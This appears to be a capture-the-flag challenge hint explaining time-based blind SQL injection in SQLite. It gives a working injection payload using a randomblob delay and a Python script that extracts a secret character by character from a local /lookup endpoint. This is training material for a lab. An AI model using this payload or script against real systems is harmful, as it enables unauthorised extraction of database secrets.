ClowderUsers

Challenge Hint

Time-based blind SQL injection in SQLite.

Why it's blind

The endpoint returns only "User found" or "User not found" — no data is echoed. UNION-based extraction won't work here.

SQLite time delay technique

SQLite has no SLEEP(), but randomblob(N) generates N bytes of random data. Large values take measurable time.

Two details matter, and both will cost you an afternoon if you miss them. SQLite will not build a blob whose value nobody reads, so wrap it in length(...) to force it. And the injected condition is only evaluated for rows the query actually visits, so start from a username that exists.

alice' AND (SELECT CASE WHEN (substr((SELECT value FROM secrets),1,1)='f')
     THEN length(randomblob(100000000)) ELSE 0 END)>=0--

If the first character of the secret is f, the query delays ~0.5s. Otherwise it responds immediately.

Automation script

import requests, time, string
BASE = "http://127.0.0.1:9203"
flag = ""
for pos in range(1, 60):
    for char in string.printable:
        payload = f"alice' AND (SELECT CASE WHEN (substr((SELECT value FROM secrets),{pos},1)='{char}') THEN length(randomblob(100000000)) ELSE 0 END)>=0--"
        start = time.time()
        requests.get(f"{BASE}/lookup", params={"username": payload})
        if time.time() - start > 0.3:
            flag += char
            print(f"Flag so far: {flag}")
            break
    if flag.endswith("}"):
        break
print("Flag:", flag)